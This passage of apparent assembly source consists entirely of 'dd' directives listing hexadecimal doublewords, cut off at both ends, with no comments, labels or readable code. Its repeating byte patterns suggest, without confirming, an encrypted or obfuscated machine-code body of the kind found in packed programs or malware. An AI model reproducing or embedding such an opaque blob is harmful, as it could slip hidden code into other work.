0DFF97A7Ah, 85859406h dd 823FF17Ah, 3E2ACD75h, 0FBF277F1h, 0BBF96A6Bh, 0FB04372h dd 7E6FF146h, 796A6BF8h, 6BFB1A6Fh, 2AF2306Ah, 7A80FA60h dd 0CD755D0Eh, 0FFF33C3Ah, 85869B76h, 0AA7FC575h, 436A6BFAh dd 869B76FFh, 1BF97585h, 0BD7A7A69h, 859406FFh, 7A7A7B85h dd 6C7F97Ah, 7A858594h, 0ADB350Eh, 756A6BFBh, 0FAEE6FC5h dd 0AA7B6A6Bh, 9B76FF43h, 63098586h, 0F9823FF1h, 0CD757CBAh dd 7677F16Ah, 0F96A6BFBh, 0B05378BBh, 916AF31Ch, 823FF15Ah dd 757CBAF9h, 77F16ACDh, 6A6BF84Ah, 0AA47C575h, 7B6A6BFAh dd 7E93F983h, 0F31CB053h, 823FF16Ah, 7AFAFAF1h, 0FFF37A7Ah dd 858581AAh, 8DBAFFF1h, 0FFF38585h, 858595EEh, 95EEFFFBh dd 7A828585h, 52C27A7Ah, 0F17A7A7Ah, 0CD758237h, 9B8D7C33h dd 9B72FFF3h, 0FF7B8586h, 858595EEh, 7A7A52C2h, 0BA77F17Ah dd 0F96A6BFBh, 9B8D78BBh, 9B7EFFF3h, 0FF7B8586h, 858595EEh dd 0F1823FF1h, 7A7AAEF2h, 0EEF77B7Ah, 0F1858595h, 0FF432E3Ah dd 858595EEh, 68FCFD75h, 0CEDB7A7Ah, 0F96A6BFBh, 0FFF37E92h dd 858589D6h, 6BFB16DBh, 7F92F96Ah, 0DB9E3FF3h, 6A6BFB8Eh dd 0F37392F9h, 8595DEFFh, 0FA8ADB85h, 92F96A6Bh, 0B6FFF379h dd 93858581h, 7A7A7AB8h, 7A7A52C2h, 0B6DF8D7Ah, 0F3858581h dd 869A82FFh, 0BAFFF185h, 0F185858Dh, 0FEF7862Fh, 7A7A826Ah dd 82EFF17Ah, 0F385869Ah, 0F1BC7BACh, 3C79763Ch, 7AFFF372h dd 0F185869Bh, 3C796E3Ch, 86FFF36Ah, 0F185869Ah, 0FF439E3Fh dd 85869B7Ah, 0FFF1730Ch, 85869B7Ah, 0F19E3FF3h, 8589D6FFh dd 86FF4385h, 0C85869Ah, 86FFF176h, 0F385869Ah, 8589D6FFh dd 823FF185h, 7AD2FAF1h, 3C417A7Ah, 41670876h, 869B7AFFh dd 0F16F0985h, 2FF16E3Ch, 0D2F87982h, 517A7A7Ah, 0FFF3763Ch dd 858595DEh, 81AAFFF1h, 2CF18585h, 8AA4376h, 722C7969h dd 7609AA43h, 79763C51h, 0FFF36E3Ch, 85858DC6h, 81B6FF85h dd 3FF18585h, 3ACD7582h, 0B6FF437Ch, 75858581h, 858551F8h dd 0FAEADB85h, 867F6A6Bh, 2A7A7A75h, 929E0F85h, 7A7A191Bh dd 0F372BEF9h, 0C7F99E3Fh, 85859406h, 0F1730E7Ah, 8589D6FFh dd 8A3FF385h, 89D6FFF1h, 3F438585h, 0F16D0E8Ah, 0C575823Fh dd 6BFBE26Fh, 0EA43306Ah, 7A7A7AD2h, 6B50FE75h, 36DB7A7Ah dd 0F96A6BF8h, 0FF437392h, 858595DEh, 7AB1FE75h, 0D6DB7A7Ah dd 796A6BFBh, 6BFBA67Fh, 7892F96Ah, 9A82FFF3h, 1ADB8586h dd 0F96A6BFBh, 0FFF37D92h, 85869B7Ah, 0FFF13491h, 858595DEh dd 9A8EFFF3h, 66C28586h, 8D7A7A7Ah, 869B7ADFh, 8AFFF385h dd 0F185869Ah, 869A8EFFh, 8AEFF185h, 7B85869Ah, 863F79AAh dd 9A86FFF3h, 0EFF18586h, 85869A82h, 0C622A43h, 623AF173h dd 9A82FFF3h, 0FF858586h, 85869B7Ah, 0F18207F1h, 7A7AD6FDh dd 7A66C37Ah, 92BB7A7Ah, 335FC078h, 988D5EE8h, 9A8EEFF3h dd 0ADF38586h, 9B7AC743h, 0F0088586h, 85823FF1h, 0CF85460Ah dd 85869A82h, 7A181292h, 72BEF97Ah, 9A82FFF3h, 0FFF18586h dd 858589D6h, 0E8A3F41h, 82FF4376h, 7585869Ah, 7A6A31FFh dd 0F2DFF97Ah, 7A858595h, 6BFB4EDBh, 0AE7F796Ah, 0F96A6BFAh dd 0FFF37D92h, 858581B2h, 7A7B4B93h, 0C6FFF17Ah, 7985858Dh dd 8581B2FFh, 863F7985h, 0A586FFF3h, 6FF18586h, 6A6BFB56h dd 0FB126F79h, 90F96A6Bh, 756A4370h, 7A7B60FEh, 86FFF17Ah dd 0F18586A5h, 0FF51763Ah, 858581AAh, 8DC6FF79h, 0FFF38585h dd 8586A582h, 2A863F79h, 9A7BFFF7h, 852A8586h, 7B5BDE6Fh dd 72BEF96Ah, 6BFB3ADBh, 0FFF3326Ah, 85869B7Ah, 0FFF15191h dd 85869B7Ah, 7B7FFEF0h, 4685869Ah, 466E041Bh, 0F16A0700h dd 869B7AFFh, 7FFEF785h, 85869A7Bh, 855A52FAh, 869B7AFFh dd 7AFFF185h, 7585869Bh, 7B7FFEC4h, 0F185869Ah, 6BFAC66Fh dd 77C5756Ah, 6A6BFA86h, 90F9B07Bh, 0FAA4378h, 7FC575CBh dd 6A6BFBEAh, 807FC6FAh, 3F8586A5h, 6FF11B0Fh, 6A6BF852h dd 816FC6FAh, 288586A5h, 0C5752B0Fh, 6BFBDE6Fh, 6FC6FA6Ah dd 8586A581h, 0F13A0F31h, 6BFBFE6Fh, 6FC6FA6Ah, 85869A79h dd 0F14A0F49h, 6BFBA26Fh, 7A6F796Ah, 0FA6A6BF8h, 0A5876FC6h dd 0F368586h, 127F7960h, 0FA6A6BFBh, 0A5847FC6h, 0F488586h dd 0F2FFBD70h, 7B858595h, 0F97A7A7Ah, 8581B2FFh, 3FF16E85h dd 0FEFAF182h, 437A7A7Ah, 8581B2FFh, 0C0F87585h, 0F9858584h dd 8595F2C7h, 0FE757A85h, 7A7A74A2h, 0F9823FF1h, 0F91C6CBAh dd 0FFF77B72h, 85869B4Fh, 81AEFFF3h, 3AF18585h, 0C2FFF346h dd 7985858Dh, 8581AEFFh, 0CEFFF385h, 0F985858Dh, 859406C7h dd 0FF757A85h, 7A7A7B6Ah, 0F1823FF1h, 6BFBB26Fh, 7290F96Ah dd 7AAAEA43h, 0FE757A7Ah, 7A7A7A82h, 826FC575h, 796A6BFAh dd 6BFAE26Fh, 7490F96Ah, 7AAEEA43h, 0FE757A7Ah, 7A7A7AA6h dd 95EEEFF1h, 2A438585h, 0B7FC752Eh, 0F17A7A7Ah, 858DBAFFh dd 7A827F85h, 0FFF37A7Ah, 85869A82h, 7A7A52C2h, 8237F17Ah dd 7C33CD75h, 0FFF39B8Dh, 85869A8Eh, 9A82FFF1h, 0EFF18586h dd 85869A8Eh, 0FFF3AA7Bh, 85869B7Ah, 9A8AFFF3h, 52C28586h dd 0F17A7A7Ah, 6BFBD677h, 8A77796Ah, 0F96A6BFAh, 9B8D7893h dd 9A96FFF3h, 0FFF18586h, 85869A8Ah, 9A96EFF1h, 0AA7B8586h dd 9A86FFF3h, 3FF18586h, 0AECA8582h, 0F17A7A7Ah, 0EFF1863Fh dd 85869B7Ah, 0F128B87Bh, 869A86EFh, 28B87B85h, 326E6F85h dd 0BEF96A73h, 823FF176h, 7A7AAA7Fh, 92FFF37Ah, 0C285869Ah dd 7A7A7A52h, 0FBBA77F1h, 77796A6Bh, 6A6BFABAh, 0FFF39B8Dh dd 85869A9Eh, 9A92FFF1h, 0B8F38586h, 9A9EF7F1h, 707B8586h dd 85823FF1h, 0F85460Ah, 2505928Ah, 3FF37A7Ah, 7A52C28Ah dd 37F17A7Ah, 33CD7582h, 0F39B8D7Ch, 869B7AFFh, 0BAFFF185h dd 0F185858Dh, 0FEF7862Fh, 7A7A826Ah, 7AEFF17Ah, 0F385869Bh dd 0DBBC7BACh, 6A6BFBA6h, 2A76BAF9h, 6BFA9EDBh, 7F92F96Ah dd 0F98AF32Ah, 852A62BAh, 73334E6Fh, 7FC5756Ah, 6A6BF86Ah dd 7B85817Fh, 723CF37Ah, 85823FF1h, 3FF1460Ah, 77BAF96Ah dd 2575922Ah, 3CF37A7Ah, 8A3FF16Ah, 8DCAFFF3h, 3FF18585h dd 0DAFFF39Eh, 12858595h, 6A6BE25Fh, 7A777592h, 852C2A7Ah dd 7B5BDE6Fh, 9E3FF16Ah, 0DB763CF3h, 6A6BFB36h, 7A7A647Fh dd 5E3CF39Ah, 0F38A3FF1h, 96DB6E3Ch, 7F6A6BFAh, 7A7B8585h dd 0F19E3F7Bh, 2CF1823Fh, 722C7976h, 852A2AF3h, 6B0A3A6Fh dd 47C5756Ah, 6A6BFB52h, 426FC575h, 7B6A6BFBh, 7D95F9ADh dd 7A7A87C3h, 838DE37Ah dd 0C7F3AD7Bh, 858595E6h, 85823FF1h, 3FF1460Ah, 6A3C798Ah dd 2401922Ah, 0BEF97A7Ah, 8A3FF34Ah, 0F9823FF1h, 851C7CBAh dd 3A6F857Ah, 0F16A6B0Ah, 858DC2C7h, 0AEEFF185h, 0F3858581h dd 869A82EFh, 86FFF385h, 0C385869Ah, 7A7A7A85h, 0F1838DE3h dd 869A82F7h, 436EF285h, 0A3A6F85h, 6FF16A6Bh, 6A6BF87Ah dd 7E77C575h, 7B6A6BFBh, 7E90F9B0h, 0EFF1AD7Bh, 858581AEh dd 9A8AEFF3h, 0FFF38586h, 85869A8Eh, 7A7A85C3h, 838DE37Ah dd 9A8AF7F1h, 6EF28586h, 0BA47F143h, 796A6BFBh, 6BFB0E47h dd 7D95F96Ah, 81AEEFF1h, 37F18585h, 7393BB6Ah, 754076F2h dd 0FABE7FC5h, 7F796A6Bh, 6A6BFBF6h, 0F17D92F9h, 8595E6F7h dd 378BF985h, 0DB7876F2h, 6A6BFB82h, 7947BAF9h, 6BFAC67Fh dd 0BEFFF36Ah, 91858581h, 3A6F854Fh, 0F16A6B0Ah, 8581BEC7h dd 0AEEFF185h, 0F3858581h, 869A92EFh, 96FFF385h, 0C385869Ah dd 7A7A7A85h, 0F1838DE3h, 869A92F7h, 436EF285h, 81BEFF85h dd 0FFF18585h, 85858DC2h, 81BEFF43h, 0C7088585h, 9406C7F9h dd 0E7A8585h, 0CAFFF100h, 7585858Dh, 0FAAA6FC5h, 6F796A6Bh dd 6A6BFABAh, 2FF1AA7Bh, 787EF186h, 9A9EFFF3h, 3FF18586h dd 4E2AF182h, 0DB522A79h, 6A6BFB4Ah, 7B7CBAF9h, 9AEFF3B8h dd 0F185869Ah, 869A9EFFh, 0EA6FF185h, 0F96A6BFAh, 0C5758CB8h dd 6BF86A77h, 53B07B6Ah, 9AFF79AAh, 0F185869Ah, 6BFBD66Fh dd 78B8F96Ah, 0FFF3AA7Bh, 85869AA6h, 0F1823FF1h, 869AA6EFh dd 4E2A5185h, 10522AF3h, 0F8EA1277h, 0FFF76A6Bh, 85869B52h dd 6E6F852Ah, 0F16A7332h, 0BAF96A3Ch, 0FFF72A77h, 85869B52h dd 6E3CF12Ah, 2A863F79h, 326E6F85h, 0BEF96A73h, 6E3CF162h dd 0F377BAF9h, 8595E2FFh, 6FC57585h, 6A6BFABEh, 7B7E90F9h dd 0A6FFF3AAh, 91858581h, 0A6FFF160h, 79858581h, 0CC75863Fh dd 0E6EF496Ah, 0F2858595h, 0A6FF856Ah, 0F1858581h, 8595E2FFh dd 6A3F7985h, 81A6FF43h, 0AF088585h, 6BFAC2DBh, 7E92F96Ah dd 0DB923FF3h, 6A6BFB8Eh, 0B87BB8F3h, 92F9AAF3h, 0BAFFF368h dd 93858581h, 7A7A7892h, 7A7A52C2h, 0BADF8D7Ah, 0F3858581h dd 869A9AFFh, 0C2FFF185h, 0F185858Dh, 8581AEEFh, 6AFEF785h dd 7A7A7A82h, 9A9AEFF1h, 0A9F38586h, 52C2B97Bh, 0F17A7A7Ah dd 0CD758237h, 9B8D7C33h, 9AA6FFF3h, 0FFF18586h, 85858DBAh dd 0F7862FF1h, 7A826AFEh, 0EFF17A7Ah, 85869AA6h, 0BC7BACF3h dd 0B67FC575h, 0FA6A6BFAh, 0F087946h, 0FBD6DB49h, 0C5756A6Bh dd 6BFB466Fh, 0F9AA7B6Ah, 46FA7192h, 660F5479h, 727FC575h dd 0FA6A6BF8h, 197E6206h, 39F1740Fh, 0FEFFF36Eh, 93858595h dd 7A7A783Ch, 827FC575h, 0F96A6BFAh, 46FA7F92h, 430F5479h dd 3E7FC575h, 796A6BF8h, 6BFB127Fh, 7292F96Ah, 1F7946FAh dd 9EDB590Fh, 3A6A6BFBh, 1B7946FAh, 39F16D0Fh, 2FFF376h dd 0F1858594h, 0FFF36E39h, 858595FAh, 7A7B8793h, 7FC5757Ah dd 6A6BFB1Eh, 137946FAh, 0D6DB4B0Fh, 756A6BFBh, 0FB466FC5h dd 0AA7B6A6Bh, 0FA7192F9h, 0F547946h, 7FC57560h, 6A6BF86Ah dd 0FBF27F79h, 92F96A6Bh, 7946FA7Fh, 0C5FE751Bh, 0DB7A7A7Bh dd 6A6BFBCEh, 0FA7E92F9h, 75547946h, 7A7AFEFFh, 0FB5ADB7Ah dd 7F796A6Bh, 6A6BFA8Ah, 0FA7092F9h, 0F187946h, 0FB9EDB0Ah dd 7F796A6Bh, 6A6BF846h, 7946FA32h, 0F9240F09h, 9ADBA2BCh dd 7F6A6BFBh, 9A7A7A62h, 0FAC27F79h, 3CF36A6Bh, 7FC5755Eh dd 6A6BFACEh, 7A75817Fh, 0C852A7Ah, 20B99272h, 0BDF37A7Ah dd 0F3720179h, 0DADB7204h, 7F6A6BFAh, 7A7A7581h, 0FB4E7F79h dd 0F12A6A6Bh, 39799E3Fh, 0E4922A72h, 0F97A7A20h, 3FF36ABEh dd 52BCF99Eh, 7A7B5393h, 8A3FF17Ah, 0F16E3CF3h, 3CF37239h dd 9E3FF172h, 0F1763CF3h, 3CF35E39h, 852C295Eh, 7B5BDE6Fh dd 6A39F16Ah, 756A3CF3h, 0FAAA7FC5h, 0C5756A6Bh, 6BFAB66Fh dd 6A3EF76Ah, 8ADB2A7Fh, 0F96A6BFAh, 0F32A7992h, 62BAF98Ah dd 4E6F852Ah, 0F16A7333h, 29F19207h, 0C7EEF376h, 8585819Ah dd 0F37229F1h, 8DBEC7EEh, 2CF18585h, 0C7EEF376h, 858589CEh dd 0F36E2CF1h, 95CAC7EEh, 3F858585h, 6A39F192h, 0F18A3F7Bh dd 0FFF38A3Fh, 85869A9Eh, 85823FF1h, 0F85460Ah, 238D928Ah dd 0BEF97A7Ah, 8A3FF366h, 6BFBD6DBh, 46FA326Ah, 5A0F1E79h dd 9A9EFFF1h, 3F438586h, 0F16F0C8Ah, 0BB538A37h, 9AA2F7F3h dd 0B2F38586h, 0F3723C7Bh, 6A3C7BB2h, 867FC575h, 7F6A6BFAh dd 7A7A7584h, 763CF12Ah, 2A723979h, 7A23D692h, 8207F17Ah dd 0DB2A3DF3h, 6A6BF86Eh, 7A75877Fh, 3FF12A7Ah, 7239799Eh dd 23F5922Ah, 3FF37A7Ah, 0F982F39Eh, 851C7CBAh, 6A0C857Ah dd 796E39F1h, 8581AEFFh, 3CF12A85h, 863F796Eh, 6E6F852Ah dd 0F96A7332h, 0FF8566BEh, 858581BAh, 8DCEFFF1h, 0CD758585h dd 0FF437C3Ah, 858581BAh, 8778F875h, 0FFF18585h, 858595FEh dd 81AEFF79h, 3FF38585h, 0FBA6DB96h, 0C5756A6Bh, 6BFBD26Fh dd 0F3AA7B6Ah, 26919A3Fh, 0F19A07F1h, 68F1962Fh, 9AC7EE43h dd 0F858581h, 963FF171h, 0FFF37AF1h, 858589CAh, 0BB9A07F1h dd 0EEF1789Dh, 85819A47h, 47EE7985h, 85858DBEh, 419607F1h dd 0F1580C6Dh, 0C6F19A07h, 8595CAC7h, 0EAC7F385h, 0F1858595h dd 0C6F19A07h, 8589CEC7h, 0D6C7F385h, 91858595h, 9A3F8571h dd 43923FF1h, 0E6089A3Fh, 6BF87EDBh, 7892F96Ah, 81A2FFF3h dd 1E938585h, 0F17A7A7Bh, 8581A2FFh, 0CA6FF185h, 796A6BFBh dd 6BFB5A6Fh, 7D90F96Ah, 3F79AA7Bh, 9AFFF396h, 1C85869Ah dd 0F31C7AF1h, 869A9EFFh, 0FFCD7585h, 85869A9Eh, 0FBD66FF1h dd 90F96A6Bh, 75AA4378h, 7A7B4EFEh, 0C7CD757Ah, 85869A9Eh dd 0AA6FC575h, 756A6BFAh, 0FB3277C5h, 36F76A6Bh, 85A97F70h dd 0A4C7F31Ch, 7585869Ah, 9A9EC7CDh, 6FF18586h, 6A6BFB12h dd 8E77C575h, 0FD6A6BFAh, 0A9AB7BABh, 0C7F31C9Dh, 85869A9Ch dd 9CC7CD75h, 0F185869Ah, 6BFB9A77h, 1C85A96Ah, 9A9CC7F3h dd 0CD758586h, 869A9CFFh, 666FF185h, 0F96A6BFBh, 0AA437890h dd 8EDB6E0Fh, 0F96A6BFBh, 0FF437392h, 858581A2h, 7AC9FF75h dd 3FF17A7Ah, 4E3AF182h, 95D6FF79h, 2FF18585h, 51787996h dd 8589CAFFh, 0EFCD7585h, 85869A9Ch, 0FFF3AA7Bh, 85869AA2h dd 8DCEFFF1h, 3AF18585h, 962FF14Eh, 0CD757879h, 869A9CEFh dd 0F3AA7B85h, 869AAEFFh, 0A2F7F185h, 5385869Ah, 0AAF7F3BBh dd 7585869Ah, 9AA4FFCDh, 0C5758586h, 6BFB926Fh, 0EA6F796Ah dd 0F96A6BFAh, 0AA437290h, 0FFF15D0Fh, 858595EAh, 79962FF1h dd 0CAFF5178h, 75858589h, 9A9CEFCDh, 0AA7B8586h, 0F3863F79h dd 869AB6FFh, 7BB0F385h, 0FB06DB6Ah, 92F96A6Bh, 0A2FF7B7Fh dd 0F1858581h, 3AF1963Fh, 0A2FF437Eh, 75858581h, 8584F0F8h dd 963FF185h, 7B7E2AF1h, 962FF3B8h, 8DCEFFF1h, 0FAF18585h dd 7A7A7ADEh, 95FEEFF1h, 0EF798585h, 858581AEh, 3F43AA7Bh dd 0A8F87596h, 0F1858587h, 32F1823Fh, 0EF7F352h, 0F1858594h dd 8595DAEFh, 522AF385h, 9406C7F9h, 0F7A8585h, 1ABAF965h dd 8DCEEFF1h, 28F18585h, 0F16A7B1Ah, 0BAF9823Fh, 0CEEFF112h dd 0F185858Dh, 6A7B1228h, 75823FF1h, 0F83A6FC5h, 0C5756A6Bh dd 6BFB5277h, 0F9B07B6Ah, 0F31C7D90h, 6FF13C2Ah, 6A6BFB86h dd 797FB8F9h, 6BFB826Fh, 602AF26Ah, 0FA9A6FF1h, 0B8F96A6Bh dd 2AF31C7Dh, 0FAFFF13Eh dd 79858595h, 8581AEFFh, 62FFF385h, 0F185869Bh, 8595FAFFh dd 62EFF185h, 7985869Bh, 0FF516638h, 85859402h, 9B6EFFF3h dd 0FF798586h, 858581AEh, 9B6AFFF3h, 7AF18586h, 95D2FFF3h dd 0CEDB8585h, 756A6BFBh, 0FB466FC5h, 0AA7B6A6Bh, 0F37792F9h dd 3B91A63Fh, 0BBA607F1h, 0EEF1789Dh, 85819A47h, 47EE7985h dd 85858DBEh, 95D2EF41h, 580C8585h, 0F1A607F1h, 819AC7C6h dd 0C7F38585h, 85859416h, 0F1A607F1h, 89CEC7C6h, 0C7F38585h dd 85859412h, 3F857191h, 923FF1A6h, 8A63F43h, 823FF1CDh dd 794E3AF1h, 859412FFh, 0D2FF7985h, 51858595h, 859416FFh dd 0AFFF385h, 0F1858594h, 858DCEFFh, 4E3AF185h, 95D2FF79h dd 0FFF38585h, 858595D2h, 8DCAFFF1h, 3FF38585h, 78F1938Eh dd 3FF17A7Ah, 862FF18Eh, 0FAC277F1h, 77796A6Bh, 6A6BFB2Ah dd 0F37D93F9h, 75B57BBDh, 0F14076CCh, 6BFADA47h, 7995F96Ah dd 0FF758343h, 7A7A7B73h, 0FADA77F1h, 0F3336A6Bh, 75B57BBDh dd 0F14076CCh, 6BF87E47h, 7895F96Ah, 0FF758343h, 7A7A7A93h dd 7876CC75h, 0FB6E47F1h, 0BDFB6A6Bh, 7A7A7A9Eh, 0FB9E4779h dd 83436A6Bh, 7AB1FF75h, 77F17A7Ah, 6A6BFBA6h, 0F379BBF9h dd 75B57BBDh, 0F14076CCh, 6BF84647h, 7A47796Ah, 0F96A6BF8h dd 83437F95h, 7AD9FF75h, 7F797A7Ah, 6A6BFBA2h, 787ECC75h dd 0F85A6FF1h, 6F796A6Bh, 6A6BFBDAh, 437090F9h, 0F8FF75AAh dd 0F17A7A7Ah, 32F1823Fh, 0EF7794Eh, 0F3858594h, 869A9EF7h dd 4E3AF185h, 95DAFF79h, 2FF18585h, 0CAEF518Eh, 7B85858Dh dd 9AFFF3AAh, 7585869Ah, 0FA8E7FC5h, 6FF16A6Bh, 6A6BFBCEh dd 836A3EF7h, 9A9AFF51h, 0B27B8586h, 7E6FC575h, 0F96A6BFBh dd 0AA537EB8h, 9AA6FFF3h, 0C5758586h, 6BFAD247h, 8247796Ah dd 0F16A6BFBh, 0C5758E2Fh, 6BFA8E77h, 6A77796Ah, 0F96A6BFBh dd 0B07B7093h, 0F3862F79h, 0C036F3BBh, 8E3FF18Eh, 0F3862FF1h dd 869A9EEFh, 4A77F185h, 0F96A6BFBh, 0BDF378BBh, 0CC75B57Bh dd 47F14076h, 6A6BFBFEh, 0EE6FC575h, 7B6A6BFBh, 0F980F3ADh dd 0AB437F90h, 7B62FF75h, 0C5757A7Ah, 6BF83E6Fh, 466F796Ah dd 0F96A6BF8h, 0BBF37C90h, 0EFF1AB7Bh, 85869A9Eh, 706ECC75h dd 0FB3677F1h, 77796A6Bh, 6A6BFB96h, 437F93F9h, 99FF75B0h dd 0F17A7A7Ah, 6BFB266Fh, 6A6F796Ah, 0F96A6BFBh, 0BBF37190h dd 0EFF1AB7Bh, 85869A9Eh, 706ECC75h, 0FB5677F1h, 93F96A6Bh dd 75B04372h, 7A7ACFFFh, 9EEFF17Ah, 7585869Ah, 75786ECCh dd 0F83A77C5h, 0BBFB6A6Bh, 7A7A7A9Ah, 0FF75B043h, 7A7A7AECh dd 0F84E6FF1h, 0C5756A6Bh, 6BF87277h, 0F9B07B6Ah, 0AA7B7F90h dd 9A9EEFF1h, 0CC758586h, 6FF1787Eh, 6A6BF856h, 437D90F9h dd 0F1110FAAh, 3AF1823Fh, 0DAFF794Eh, 0F1858595h, 0EF518E2Fh dd 85858DCAh, 0FFF3AA7Bh, 85869A9Ah, 940AFFF1h, 0FFF38585h dd 85869AA6h, 827FC575h, 0F96A6BFAh, 0FF5180BAh, 85869A9Ah dd 9AA6FF79h, 6FF18586h, 6A6BFAA2h, 537890F9h, 0A2FFF3AAh dd 7585869Ah, 0FB7E47C5h, 2FF16A6Bh, 0C677F18Eh, 3B6A6BFAh dd 2F79B07Bh, 0F3BBF386h, 3F85C076h, 0CAFFF18Eh, 0F985858Dh dd 3F4377BAh, 19F8758Eh, 85858587h, 8595F6CFh, 326F8585h dd 856A7333h, 0FFF7720Fh, 858594FBh, 0DE6F852Ah, 0F96A7B5Bh dd 3FF172BEh, 0F9BBF372h, 0FA3A85B2h, 0F7A7B46h, 5EFFF383h dd 0F185869Bh, 6BFBA66Fh, 77C5756Ah, 6A6BFBE2h, 0AA53B07Bh dd 0FB7FFEBCh, 8858594h, 9B5EFFF1h, 0C5758586h, 6BF8726Fh dd 78B8F96Ah, 0FEBCAA53h, 8594FB7Fh, 0FFF11385h, 85869B5Eh dd 0FB026FF1h, 90F96A6Bh, 0BCAA537Dh, 94FB7FFEh, 0DB0C8585h dd 6A6BFB4Eh, 2A7892F9h, 6BFBF6DBh, 7B92F96Ah, 7578102Ah dd 0FACE7FC5h, 92F96A6Bh, 0D6DB2A7Fh, 0F96A6BFAh, 122A7D92h dd 3A7A7A7Ah, 94FBFFF7h, 852A8585h, 6B11626Fh, 0F6FFF36Ah dd 0DB858595h, 6A6BFB06h, 2A7D92F9h, 9B5AFFF7h, 852A8586h dd 0F858A0Fh, 0F6CF8586h, 85858595h, 6B15666Fh, 0F6CF856Ah dd 85858595h, 7333326Fh, 860F856Ah, 5FB66F85h, 7A106A7Bh dd 0F7720F85h, 8594FBFFh, 6F852A85h, 6A734F3Eh, 94FBFFF7h dd 852A8585h, 7A8A766Fh, 7A7BC26Ah, 6D917A7Ah, 95F6CF85h dd 6F858585h, 6A733332h, 85860F85h, 7B5FB66Fh, 25BA4B6Ah dd 0B9B32124h, 2B9FF32Fh, 0F12D2C29h, 47F97207h, 6A6BF82Ah dd 126F0F7Ah, 6A6B0A2Ah, 75B66F85h, 7FBD6A7Bh, 6A6BF82Ah dd 7A7A7A7Bh, 0FB4E4FF1h, 753C6A6Bh, 0CC7565CCh, 0CD757B2Dh dd 7298BBA8h, 0CD75A973h, 1CA47BA1h, 75860FF3h, 0F1863FCDh dd 6BFB226Fh, 4A6F796Ah, 306A6BF8h, 0FE75AA43h, 7A7A7AFDh dd 6B0A2A12h, 266F856Ah, 756A6B23h, 0FA8E7FC5h, 0C5756A6Bh dd 6BFB3E6Fh, 0F9AA7B6Ah, 0F31C7992h, 6F91843Fh, 843FCD75h dd 0C475827Bh, 35C4756Ah, 0F2B04B78h, 3F851C6Ah, 3FCD7584h dd 2FCD7584h, 6AA4386h, 7FC575A5h, 6A6BFAB6h, 6FC57532h dd 6A6BFA82h, 0F27F90F9h, 0C5757D6Eh, 6BFBE27Fh, 0B27F796Ah dd 0F96A6BFBh, 6FF17292h, 6A6BFA9Ah, 0FB5E6F79h, 90F96A6Bh dd 7D6EF272h, 6B0A2A12h, 3A6F856Ah, 0F76A7333h, 2425793Dh dd 2FB9B321h, 96FB9FF3h, 7A7A7956h, 852D2C29h, 6F85760Fh dd 6A77235Eh, 720F8523h, 8690FFF7h, 922A8585h, 7A7AD3B3h dd 8690F7F7h, 0B2F98585h, 46FA3A85h, 830F7A7Bh, 0F87E6FF1h dd 6F796A6Bh, 6A6BFAE2h, 0F37090F9h, 0F1A953B9h, 6BFBFA6Fh dd 67EEF26Ah, 85858690h, 6BFB2EDBh, 6FC5756Ah, 6A6BFB7Eh dd 0AD7BBDF3h, 0F37295F9h, 0B277F182h, 3B6A6BFAh, 0FFF39B8Dh dd 8585869Ah, 47FEC475h, 85858690h, 869AEFF1h, 0FEF28585h dd 8587946Fh, 0F182F385h, 6BFA9E77h, 7993F96Ah, 0FFF39B8Dh dd 858586A6h, 6BFBDADBh, 0E67F796Ah, 0F96A6BFBh, 0EFF17192h dd 858586A6h, 0C6DBB87Bh, 796A6BFBh, 6BF8427Fh, 7C92F96Ah dd 946FFEF2h, 75858587h, 9047FEC4h, 75858586h, 0FB8A6FC5h dd 6F796A6Bh, 6A6BFB76h, 437290F9h, 0F8FF75AAh, 0F37A7A7Ah dd 677F182h, 0F96A6BFBh, 9B8D7F93h, 86A2FFF3h, 9EDB8585h dd 796A6BFAh, 6BFAE27Fh, 7192F96Ah, 86A2EFF1h, 0B87B8585h dd 0D27FC575h, 0F26A6BFBh, 87946FFEh, 82F38585h, 0FB2A77F1h dd 77796A6Bh, 6A6BFB4Eh, 8D7E93F9h, 0AEFFF39Bh, 0DB858586h dd 6A6BFB16h, 826FC575h, 7B6A6BFAh, 7292F9AAh, 86AEEFF1h dd 0B87B8585h, 0EA7FC575h, 796A6BFBh, 6BFA9E7Fh, 7792F96Ah dd 946FFEF2h, 91858587h, 8E933D7Ch, 0DB858584h, 6A6BFB5Eh dd 437892F9h, 6BF8167Fh, 0F71B0E6Ah, 858794FFh, 0AEDB2A85h dd 0F96A6BFBh, 852A7292h, 7B5FCE6Fh, 73BCF36Ah, 0DB3F0E8Ch dd 6A6BFBDAh, 0FBE67F79h, 92F96A6Bh, 0A7F4376h, 0E6A6BF8h dd 0FAA2DB2Ah, 7F796A6Bh, 6A6BFB56h, 8D7792F9h, 0FFF72AA2h dd 85858794h, 7FC5752Ah, 6A6BFB62h, 0FBF67F79h, 92F96A6Bh dd 6F852A73h, 6A7A8A5Eh, 5FBE4F85h, 4F856A7Bh, 6A732286h dd 8690FFF7h, 922A8585h, 85859D8Fh, 0F376BEF9h, 85869EFFh dd 21242585h, 0F32FB9B3h, 5B6AC29Fh, 0CC927A7Bh, 297A7ADDh dd 0F852D2Ch, 86FFF772h, 2A8584A4h, 7ADDBE92h, 86F7F77Ah dd 0F98584A4h, 0FA3A85B2h, 0F7A7B46h, 0CE67F183h, 0F96A6BFBh dd 0BCF37991h, 0C575A453h, 6BFAAA67h, 7C91F96Ah, 864FE6F2h dd 758584A4h, 0FBEE7FC5h dd 7F796A6Bh, 6A6BFBF6h, 2A7892F9h, 3E7FC575h, 0F96A6BFBh dd 102A7E92h, 7FC57579h, 6A6BFB92h, 0FBC27F79h, 92F96A6Bh dd 4F852A71h, 6A6BFBA6h, 7A7A7B12h, 86FFF7FAh, 2A8584A4h dd 11626F85h, 0BDF36A6Bh, 758585F9h, 7A784BFEh, 7FC5757Ah dd 6A6BF83Ah, 2A7292F9h, 0A48AFFF7h, 122A8584h, 7A7A6585h dd 9A7BFFF7h, 2D2A8585h, 8A4E6F85h, 0FFF36A7Ah, 8584A482h dd 326F852Dh, 0FA6A7333h, 859A7BC7h, 0FF753685h, 7A7A7B88h dd 6BFAD6DBh, 7D92F96Ah, 0A482FF43h, 0FE758584h, 7A7A7BA4h dd 37CFCC75h, 7585859Ah, 9A34E7CCh, 0CD758585h, 7299BBA1h dd 0F31CA473h, 84A48CCFh, 0FFCD7585h, 8584A48Ch, 0FBA66FF1h dd 0B8F96A6Bh, 726F793Eh, 7B6A6BFBh, 8A6FF1AAh, 306A6BFAh dd 0F31CAA7Bh, 849A7AFFh, 0FFCD7585h, 85849A7Ah, 7FFEC475h dd 85859A7Bh, 866FC575h, 